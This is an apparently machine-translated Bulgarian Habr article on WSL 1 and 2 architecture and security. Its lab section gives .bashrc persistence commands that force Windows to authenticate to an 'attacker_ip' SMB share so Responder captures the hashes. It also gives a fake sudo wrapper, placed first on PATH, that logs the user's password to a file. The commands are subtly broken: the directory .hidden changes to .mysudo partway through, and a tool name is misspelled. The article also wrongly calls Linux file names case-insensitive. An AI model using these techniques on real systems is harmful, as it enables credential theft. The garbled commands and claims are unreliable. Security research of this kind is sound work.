🥇WSL експерименти. Член 1

Здравей, Хабр! През октомври OTUS стартира нов поток на курса. „Сигурност на Linux“. В навечерието на старта на курса споделяме с вас статия, написана от един от нашите преподаватели — Александър Колесников.

През 2016 година компанията Microsoft представи на IT общността новата технология WSL (WWindows SSubsystem for LLinux), която в перспектива позволяваше обединение на досега непримирими конкуренти, които се борят за популярност както сред обикновени, така и сред напреднали потребители на ОС: Windows и Linux. Тази технология предлага възможността да се използват инструменти на ОС Linux в среда на Windows без необходимост от стартиране на Linux, например, чрез мултибут (Multi-boot). В Habr можете да намерите множество статии, описващи предимствата от използването на WSL. Обаче, за съжаление, в момента на създаване на статията в този ресурс не бяха намерени исследования относно сигурността на този симбиоз на операционните системи. Настоящият пост ще бъде опит да се поправи това. В статията ще бъдат разгледани особеностите на архитектурите WSL 1 и 2, анализирани са няколко примера за атаки на системи, използващи тези технологии. Статията е разделена на 2 части. В първата част ще бъдат предоставени основните теоретични методи за атака от страна на Linux и Windows. Втората статия ще включва настройка на тестова среда и възпроизводство на атаките.

WSL 1: особености на архитектурата

За да се потопим най-точно в проблемите на сигурността на WSL, е необходимо да определим основните нюанси, свързани с имплементацията на подсистемата. Една от основните потребителски задачи, решавани от WSL, е предоставянето на възможност за работа чрез терминал Linux системи на хост с ОС Windows. Също така предложената съвместимост бе толкова native, че изпълняемите файлове на Linux (ELF) можеха да бъдат стартирани направо в системата Windows. За постигане на тези цели в Windows 10 бе създаден специален подсистема, позволяваща стартиране на приложения Linux с помощта на набор от определени системни повиквания — по този начин бе предприета опит за маппинг на набор от syscall-ове на Linux на Windows. Физически това бе реализирано чрез добавяне на нови драйвери и нов формат на процеса. Визуално архитектурата изглеждаше по следния начин:

В същността си взаимодействието с операционната система Linux е организирано чрез няколко ядрени модула и специален тип процеси — pico. От схемата по-горе е видно, че процесът, стартиран в инстанция на Linux на хоста, трябва да бъде роден и да използва същите ресурси, каквито използват обикновените приложения на Windows. Но как да се постигне това? В проекта Drawbridge бяха разработени концепти за процеси в Windows, които предоставят всички необходими компоненти на операционната система (в зависимост от нейната версия) за стартиране на приложение от друга ОС.

Забележете, че предложената абстракция позволява да не се ориентираме спрямо операционната система (в частност — Windows), в която се очаква да се стартира процесът на друга ОС, и предлага общ подход.

По този начин, всяко приложение в pico процеса може да работи без да се вглежда в ядрото на Windows:

Проблемите със съвместимостта и транслацията на системните повиквания трябва да се решават от специални доставчици;
Разграничаването на достъпа следва да се извършва чрез Монитор за сигурност. Мониторът се намира в ядрото и следователно Windows имаше нужда от ъпгрейд под формата на нов драйвер, който да може да функционира като доставчик за такива процеси. Прототипът на pico процеса е схематично представен по-долу:

Тъй като файловата система на Linux използва регистронезависими имена на файлове и директории, в Windows бяха добавени два типа файлови системи за работа с WSL — VolFS и DriveFS. VolFS е реализация на файловата система на Linux, а DriveFS е файловата система, която функционира по правилата на Windows, но има възможност за избор на чувствителност към регистъра на имената.

WSL 2

WSL 1 имаше редица ограничения, които не позволяваха да се използва за решаване на максимален спектър от задачи: например, в нея липсваше възможността за стартиране на 32-битови Linux приложения, не можеше да се използват драйвери за устройства. Затова през 2020 година беше пусната WSL 2, която промени подхода към изграждането на подсистемата. WSL 2 е оптимизирана виртуална машина, която отговаря на характеристиките на WSL 1 по отношение на потребление на ресурси. Сега, в зависимост от проблемите, за които потребителят на ОС Windows се опитва да реши, може да избере необходимата версия на подсистемата за работа с Linux. За да се минимизират потенциалните уязвимости, WSL 2 беше реализирана на базата на Hyper-V в Windows 10. В този вид Windows има възможност изолирано да стартира ядрото на операционната система Linux. Струва си да се помни, че версия 1 на WSL беше представена като бета функция, която трябваше да покаже посоката на развитие на Windows в тази област, затова преходът към Hyper-V беше неизбежен. Крайната архитектура изглежда така:

В тази версия ядрото на системите Windows и Linux има свои собствени ресурси, а пресечението съществува само в файловата система, обаче това пресечение не може да се нарече пълно. Взаимодействието между файловите системи се извършва чрез клиент-сървърна обвивка, която работи по протокол 9P.

Към момента Microsoft предоставя възможност за превключване между WSL 1 и WSL 2. И двете версии са налични за ползване.

Сигурност на WSL

Към момента съществуват няколко изследвания, описващи някои подходи за използване на легитимни инструменти на ОС за атака на взаимодействието между подсистемите. Ще използваме техните сценарии, за да проверим актуалността на атаките в момента на написването на статията. Общият списък с атаки и сценарии за провеждане:

1. Имплементация на файловата система: права на достъп, наличие на споделени директории/механизми за обмен на данни.

Проучванията бяха проведени с цел нарушаване на правилата за достъп от Linux FS->Windows FS, Windows FS->Linux FS. Проучванията демонстрираха възможността за модификация на зададения файл вътре в целевата ОС. Също така бяха проведени опити за подмяна, създаване на двойници и изтриване на части от файловите системи.

Сценарий:

A. Атака от операционната система Windows — модификация на файлове от директория /etc на ОС Linux.
B. Атака от операционната система Linux — модификация на файлове в директории: C:Windows, C:Program Files, C:Users

2. Имплементация на мрежов стек.

Изследванията бяха проведени на примери на атаки от операционната система Linux върху Windows. Използваха се особеностите на мрежовия стек, а именно — механизмите за удостоверяване на различни ресурси.

Сценарий:

Отваряне на достъпа до порт, който е зает в системата Windows
Отваряне на порт без съответните права
Стартиране на reverse shell с използване на elf файл в операционната система Windows.

3. Скриване на старта на процеси на зловреден софтуер чрез подсистемата WSL.

Изследванията се основават на простия факт — защитните подсистеми не могат да провеждат прихващане на събития в друга ядро, което работи с легитимен доставчик отстрани на операционната система в случая с WSL 1. В случая с WSL 2 няма възможност да се видят събития, които се случват в отделно ядро в рамките на лека виртуална машина.

Сценарий:

1) Стартиране на приложение за отдалечен достъп до системата и преглед на регистрираните събития.

WSL 1 експерименти: прихващане на хеш (ОС Windows)

Най-накрая стигнахме до практическата част. За начало е необходимо да настроим околната среда за тестове. Всички експерименти ще се проведат на стенд с инсталиран Windows 10 2004. Като образ на операционната система за WSL беше избран образ Ubuntu 18.04. Образът беше избран случайно и всякакъв друг ще работи по същия начин. Командите за настройка на стенда:

Предварително трябва да стартирате powershell.exe с права на администратор.

За WSL 1 е необходимо да се изпълнят командите:

Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux # Активиране на функцията WSL
Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing # Изтегляне на образа на Linux от магазин Microsoft

Ubuntu.appx install —root # Инсталиране на образа

Възможно е да се наложи да преминете през процеса на настройка и да създадете нов потребител, който ще има по-малко права от root. За нашите тестове това ще бъде обикновен потребител sam.

Restart-Computer # Рестартиране

След рестартиране на стенда можете да извикате командата bash. Ако всичко е работило правилно, ще видите подобен изход в конзолата на Windows:

Като машина на атакуващия ще използваме дистрибуция Kali Linux, всички машини трябва да са в една локална мрежа.

Да предположим, че имаме непривилегирован достъп до WSL на Windows машина. Нека опитаме да извършим атака срещу операционната система Linux, като предизвикаме команда от Linux. За да реализираме атаката, ще използваме проста техника за автоматично стартиране - ще добавим нашия скрипт за изпълнение в Linux средата. За това трябва да променим файла .bashrc.

На машината с WSL изпълняваме:

	1. bash
	2. Преминаваме в домашната директория на потребителя: cd /home/sam/
	3. echo " /home/sam/.attack.sh" >> .bashrc
	4. echo "icalcs.exe \\attacker_ip\\shareName\" > /dev/null 2>&1 >> .attack.sh
	5. chmod u+x .attack.sh
	6. exit

На машината Kali Linux изпълняваме:

1. Responder -I eth0 -rdvw

На машината Windows стартираме bash.

Чакаме резултата на машината Kali Linux:

По този начин получихме хешовете на потребителя Windows чрез WSL подсистемата, изпълнявайки команда в Linux системата.

WSL 1 експерименти: получаване на паролата на потребителя (ОС Linux)

Нека проведем още един експеримент. По време на това проучване ще допълним файла .bashrc с няколко команди, за да получим паролата на потребителя на операционната система Linux.

Ще стартираме bash и ще въведем командите:

1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] парола за $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Съжалявам, опитайте отново."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt" >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit

За успешно завършване на атаката е необходимо потребителят Sam да извика sudo в терминала на Linux. След това, паролата на потребителя на ОС Linux ще се окаже в файла pass.txt:

Реализацията на атаките беше предоставена само за теоретично запознаване.

В следващата част на статията ще бъде описана реализацията на протокола 9P, ще се разгледа създаването на скенер за този протокол, а също така ще се проведе атака с неговата помощ.